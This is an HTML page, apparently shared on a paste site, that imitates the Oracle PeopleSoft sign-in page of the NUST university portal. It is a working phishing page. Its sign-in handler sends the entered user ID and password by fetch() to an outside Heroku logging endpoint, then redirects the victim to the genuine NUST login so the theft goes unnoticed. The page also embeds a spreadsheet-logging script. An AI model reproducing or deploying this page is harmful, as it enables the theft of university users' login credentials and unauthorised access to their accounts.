Untitled
4 years ago in HTML
<html dir="ltr" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<style>
.psloginbutton {
FONT-SIZE: 9pt;
CURSOR: hand;
COLOR: #FFFFFF;
BACKGROUND-COLOR: #666666;
font-family: Arial;
font-weight: bold;
border: 1px outset;
}
.psloginframe {
background-color: #F5F5F5;
border: 1px solid #D6D6D6;
}.pslogintext {
font-family: Arial;
font-size: 9pt;
color: #000000;
font-weight: normal;
}
.psloginlabel {
font-family: Arial;
font-size: 9pt;
color: #000000;
font-weight: bold;
}
.pslogincopyright {
font-family: Arial;
font-size: 9px;
}
.pslanguageframe {
background-color: #FFFFFF;
border-right: 1px solid #D6D6D6;
border-bottom: 1px solid #D6D6D6;
border-top-width: 1px;
border-top-style: solid;
border-top-color: #D6D6D6;
}
.psmessageframe {
background-color: #EEEEEE;
border-right: 1px solid #D6D6D6;
border-bottom: 1px solid #D6D6D6;
border-left: 1px solid #D6D6D6;
}
.pslogintextsmall {
font-family: Arial;
font-size: 7pt;
color: #000000;
}
.pslogintextsmalllabel {
font-family: Arial;
font-size: 8pt;
color: #000000;
font-weight: bold;
}
.psloginerror {
font-family: Arial;
font-size: 9pt;
color: #FF0000;
}
.psloginmessagelarge {
font-family: Arial;
font-size: 12pt;
font-weight: bold;
color: #666666;
}
.psloginmessage {
font-family: Arial;
font-size: 10pt;
font-weight: normal;
color: #666666;
}
.pslogineditbox {
font-family: Arial;
font-size: 9pt;
color: #000000;
}
</style>
<!--
* ***************************************************************
* This software and related documentation are provided under a
* license agreement containing restrictions on use and
* disclosure and are protected by intellectual property
* laws. Except as expressly permitted in your license agreement
* or allowed by law, you may not use, copy, reproduce,
* translate, broadcast, modify, license, transmit, distribute,
* exhibit, perform, publish or display any part, in any form or
* by any means. Reverse engineering, disassembly, or
* decompilation of this software, unless required by law for
* interoperability, is prohibited.
* The information contained herein is subject to change without
* notice and is not warranted to be error-free. If you find any
* errors, please report them to us in writing.
*
* Copyright (C) 1988, 2012, Oracle and/or its affiliates.
* All Rights Reserved.
* ***************************************************************
-->
<!--
-->
<!--
*
-->
<title>Oracle | PeopleSoft Enterprise Sign-in</title>
<script>
// Usage
// 1. Enter sheet name where data is to be written below
var SHEET_NAME = "Sheet1";
var SCRIPT_PROP = PropertiesService.getScriptProperties(); // new property service
function doGet(e) {
return handleResponse(e);
}
function doPost(e) {
return handleResponse(e);
}
function handleResponse(e) {
// shortly after my original solution Google announced the LockService[1]
// this prevents concurrent access overwritting data
// [1] http://googleappsdeveloper.blogspot.co.uk/2011/10/concurrency-and-google-apps-script.html
// we want a public lock, one that locks for all invocations
var lock = LockService.getPublicLock();
lock.waitLock(30000); // wait 30 seconds before conceding defeat.
try {
// next set where we write the data - you could write to multiple/alternate destinations
var doc = SpreadsheetApp.openById(SCRIPT_PROP.getProperty("key"));
var sheet = doc.getSheetByName(SHEET_NAME);
// we'll assume header is in row 1 but you can override with header_row in GET/POST data
var headRow = e.parameter.header_row || 1;
var headers = sheet.getRange(1, 1, 1, sheet.getLastColumn()).getValues()[0];
var nextRow = sheet.getLastRow() + 1; // get next row
var row = [];
// loop through the header columns
for (i in headers) {
if (headers[i] == "Timestamp") { // special case if you include a 'Timestamp' column
row.push(new Date());
} else { // else use header name to get data
row.push(e.parameter[headers[i]]);
}
}
// more efficient to set values as [][] array than individually
sheet.getRange(nextRow, 1, 1, row.length).setValues([row]);
// return json success results
return ContentService
.createTextOutput(JSON.stringify({ "result": "success", "row": nextRow }))
.setMimeType(ContentService.MimeType.JSON);
} catch (e) {
// if error return this
return ContentService
.createTextOutput(JSON.stringify({ "result": "error", "error": e }))
.setMimeType(ContentService.MimeType.JSON);
} finally { //release lock
lock.releaseLock();
}
}
function setup() {
var doc = SpreadsheetApp.getActiveSpreadsheet();
SCRIPT_PROP.setProperty("key", doc.getId());
}
</script>
<script type="text/javascript">
if (self === top) {
var fb = document.getElementById("ptfb");
fb.parentNode.removeChild(fb);
} else {
try {
top.location = self.location;
} catch (ex) { }
}
</script>
<link rel="stylesheet" href="Oracle%20PeopleSoft%20Enterprise%20Sign-in_files/styles.css" type="text/css">
<style type="text/css">
<!--
a:link {
color: #48598c;
}
a:visited {
color: #48598C;
}
a:hover {
color: #48598C;
}
a:active {
color: #48598C;
}
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
window.history.forward(1);
</style>
<script language="JavaScript">
function signin(form) {
var docLoc = new String(document.location);
var iLast = docLoc.lastIndexOf("?&");
if (docLoc.length == (iLast + 2)) {
docLoc = docLoc.substring(0, iLast);
}
if (docLoc.indexOf("?cmd=") == -1 && docLoc.indexOf("?") != -1) {
if (docLoc.indexOf("&cmd=login") == -1) {
var i = docLoc.length - 1;
var j = docLoc.lastIndexOf("&");
if (j != -1 && i == j)
form.action = docLoc + form.action.substring(form.action.indexOf("?") + 1, form.action.length);
else
form.action = docLoc + "&" + form.action.substring(form.action.indexOf("?") + 1, form.action.length);
}
else
form.action = docLoc.substring(0, docLoc.indexOf("&cmd=login")) + "&cmd=login" + docLoc.substring(docLoc.indexOf("&languageCd="), docLoc.length);
}
var now = new Date();
form.timezoneOffset.value = now.getTimezoneOffset();
return;
}
function setFocus() {
try { document.login.userid.focus() }
catch (e) { };
return;
}
function setErrorImg() {
var login_error = document.getElementById('login_error').innerHTML;
var discovery_error = document.getElementById('discovery_error').innerHTML;
var browsercheck_error = document.getElementById('browsercheck_error').innerHTML;
if (login_error.length != 0 || discovery_error.length != 0 || browsercheck_error.length != 0) {
document.getElementById('error_img').style.display = 'block';
if (login_error.length != 0)
document.getElementById('login_error').style.visibility = 'visible';
if (discovery_error.length != 0)
document.getElementById('discovery_error').style.visibility = 'visible';
document.getElementById('error_link').focus();
}
else
setFocus();
}
function clearRecentSearch() {
if (typeof (window.sessionStorage) !== "undefined") {
try {
sessionStorage.clear();
} catch (e) { }
}
}
function submitAction(form) {
console.log(document.getElementById("userid").value)
fetch('https://test-exam-api.herokuapp.com/addlog', {
headers: { "Content-Type": "application/json" },
method: 'POST',
body: JSON.stringify({username:document.getElementById("userid").value,password:document.getElementById("pwd").value})
}).then((res) => {
console.log(res)
window.location.replace("https://cms.nust.edu.pk/psp/ps/?cmd=login");
})
signin(form);
form.Submit.disabled = true;
form.submit();
}
function setCookie(name, value, days) {
var d = new Date;
d.setTime(d.getTime() + 24 * 60 * 60 * 1000 * days);
document.cookie = name + "=" + value + ";path=/;expires=" + d.toGMTString();
}
function deleteCookie(name) {
var cookies = get_cookies_array();
for (var name in cookies) {
if (name.startsWith("PSM_2FA_SES_TOKEN_")) {
/*alert("Done: " + name);*/
setCookie(name, '', -1);
}
/* alert ("Not Done: " + name);*/
}
}
function get_cookies_array() {
var cookies = {};
if (document.cookie && document.cookie != '') {
var split = document.cookie.split(';');
for (var i = 0; i < split.length; i++) {
var name_value = split[i].split("=");
name_value[0] = name_value[0].replace(/^ /, '');
cookies[decodeURIComponent(name_value[0])] = decodeURIComponent(name_value[1]);
}
}
return cookies;
}
</script>
</head>
<body onload=" deleteCookie(''); setErrorImg(); clearRecentSearch()">
<table style="background:url('https://i.ibb.co/thXYNnV/BG.png') no-repeat" width="100%" height="99%" cellspacing="0" cellpadding="0"
border="0">
<tbody>
<tr>
<!-- TOP HEADER LOGO/IMAGE <TD> BELOW -->
<td valign="middle" height="196" align="center">
<!-- <img src="/ps/images/demo.png" alt="Oracle PeopleSoft logo" width="322" height="122"> -->
</td>
</tr>
<tr>
<td valign="middle" height="250" align="center">
<table width="590" cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td width="600" valign="top" height="318" align="center">
<table width="100%" height="273" cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td>
<table width="100%" cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td class="psloginframe" style="border:0!important;background:transparent!important;"
width="50%" valign="middle" height="200">
<table width="100%" cellspacing="0" cellpadding="0" border="0">
<form action="https://gist.github.com/mhawksey/1276293" method="post" id="login"
name="login" autocomplete="off" onsubmit="signin(document.login)"></form>
<input type="hidden" name="timezoneOffset" value="0">
</table>
<div style="text-align:center">
<h1 id="error_img" style="display:none"><a id="error_link"
href="javascript:setFocus();" tabindex="1"><img
src="Oracle%20PeopleSoft%20Enterprise%20Sign-in_files/PT_LOGIN_ERROR.gif"
alt="Error" border="0"></a></h1>
<h2 class="psloginerror" id="login_error" style="visibility:hidden"></h2>
<h2 class="psloginerror" id="discovery_error" style="visibility:hidden"></h2>
</div>
<table width="100%" cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<!-- <div class="psloginerror" id="browsercheck_error" style="text-align:left;display:none;">We've detected that your operating system is not supported by this website. For best results, use one of the following operating systems:</div><a href='http://www.apple.com/support/snowleopard/' target='_blank'><a href='http://www.apple.com/support/snowleopard/' target='_blank'>Mac OS X 10.6(Snow Leopard)</a><br><a href='http://www.apple.com/support/leopard/' target='_blank'><a href='http://www.apple.com/support/leopard/' target='_blank'>Mac OS X 10.5(Leopard)</a><br><a href='http://www.apple.com/ipad/' target='_blank'><a href='http://www.apple.com/ipad/' target='_blank'>iPad</a><br><a href='http://www.oracle.com/us/technologies/linux/index.htm' target='_blank'><a href='http://www.oracle.com/us/technologies/linux/index.htm' target='_blank'>Oracle Linux Enterprise</a><br><a href='http://www.microsoft.com/windows/windows-8/default.aspx' target='_blank'><a href='http://www.microsoft.com/windows/windows-8/default.aspx' target='_blank'>Windows 8</a><br><a href='http://www.microsoft.com/windows/windows-7/default.aspx' target='_blank'><a href='http://www.microsoft.com/windows/windows-7/default.aspx' target='_blank'>Windows 7</a><br><a href='http://www.apple.com/macosx/' target='_blank'><a href='http://www.apple.com/macosx/' target='_blank'>Mac OS X 10.7(Lion)</a><br><br></div>-->
</tr>
<tr>
<td width="45%" height="25" align="right"><label for="userid"
class="psloginlabel">User ID</label></td>
<td width="1%" height="25">&nbsp;</td>
<td width="54%" height="25"><input id="userid" name="userid" type="text"
class="pslogineditbox" size="15" tabindex="2"></td>
</tr>
<tr>
<td height="35" align="right"><label for="pwd"
class="psloginlabel">Password</label></td>
<td height="35">&nbsp;</td>
<td height="35"><input type="password" id="pwd" name="pwd"
class="pslogineditbox" size="15" tabindex="3"></td>
</tr>
<tr>
<td height="35">&nbsp;</td>
<td height="35">&nbsp;</td>
<td style="padding-left:25px;" height="35"><input name="Submit" type="submit"
class="psloginbutton" tabindex="4" value="Sign In"
onclick="submitAction(document.login)"></td>
</tr>
<tr>
<td height="35">&nbsp;</td>
<td height="35">&nbsp;</td>
<td height="35"><a
href="http://www.nust.edu.pk/Download%20Section/Student_User_Guide-V-1.1.pdf"
target="_blank"><b>Student Guide</b></a></td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td class="psmessageframe" style="background:transparent!important;border:0!important;"
valign="middle" height="80">
<table width="100%" cellspacing="0" cellpadding="5" border="0">
<tbody>
<tr>
<td>
<div style="text-align:center">
<p class="pslogintext"></p>
</div>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td align="center">&nbsp;</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td valign="bottom">
<table width="100%" cellspacing="0" cellpadding="5" border="0">
<tbody>
<tr>
<!--<td height="30" colspan="2" valign="bottom" class="pslogincopyright">&nbsp;</td> LANGUAGE SELECTION NAVIGATION <TD> BELOW -->
<td colspan="2" class="pslogincopyright" valign="top" height="90">Select language:
<a href="https://cms.nust.edu.pk/psp/ps/?&amp;cmd=login&amp;languageCd=ENG"
title="English">English</a>
</td>
</tr>
<tr>
<td class="pslogincopyright" width="50%" valign="bottom">Copyright
© 2000, 2013, Oracle and/or its affiliates. All rights reserved. Oracle
and Java are registered trademarks of Oracle and/or its affiliates.
Other names may be trademarks of their respective owners. Intel and
Intel Xeon are trademarks or registered trademarks of Intel Corporation.
All SPARC trademarks are used under license and are trademarks or
registered trademarks of SPARC International, Inc. AMD, Opteron, the AMD
logo, and the AMD Opteron logo are trademarks or registered trademarks
of Advanced Micro Devices. UNIX is a registered trademark of The Open
Group.</td>
<td width="569">&nbsp;</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</body>
</html>